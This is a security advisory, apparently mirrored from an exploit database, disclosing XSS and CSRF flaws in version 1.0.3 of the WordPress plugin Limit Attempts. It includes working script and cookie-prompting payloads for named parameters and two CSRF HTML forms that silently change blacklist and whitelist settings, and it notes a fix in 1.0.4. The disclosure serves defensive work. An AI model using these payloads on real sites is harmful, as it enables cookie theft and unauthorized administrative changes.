WordPress Limit Attempts 1.0.3 Cross Site Scripting / Cross Site Request Forgery Vulnerabilities
Plugin Name : Limit Attempts
Effected Version : 1.0.3 (and most probably lower version's if any)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
The following fields put the payload as below
http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=blacklist
lmtttmpts_add_to_blacklist = â><script>alert(1)</script>
http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=whitelist
lmtttmpts_add_to_whitelist = â><script>alert(1)</script>
http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=go_pro
bws_license_key = â><img src=x onerror=prompt(document.cookie);>
Vulnerable Parameter : lmtttmpts_add_to_blacklist, lmtttmpts_add_to_whitelist, bws_license_key
Type of XSS : Reflected / Stored
Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :
POC for Blcklist :
<html>
<body>
<form action=âhttp://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=blacklistâ method=âPOSTâ>
<input type=âhiddenâ name=âlmtttmpts_add_to_blacklistâ value=â192.168.1.1âł />
<input type=âsubmitâ value=âSubmit requestâ />
</form>
</body>
</html>
POC for whitelist:
<html>
<body>
<form action=âhttp://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=whitelistâ method=âPOSTâ>
<input type=âhiddenâ name=âlmtttmpts_add_to_whitelistâ value=â192.168.1.1âł />
<input type=âsubmitâ value=âSubmit requestâ />
</form>
</body>
</html>
In the value place change the IP which you want to block (or) allow
Vulnerable Parameter : Vulnerable_parameter
Fixed in : 1.0.4
http://wordpress.org/plugins/limit-attempts/changelog/
# 0day.today [2018-04-14] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation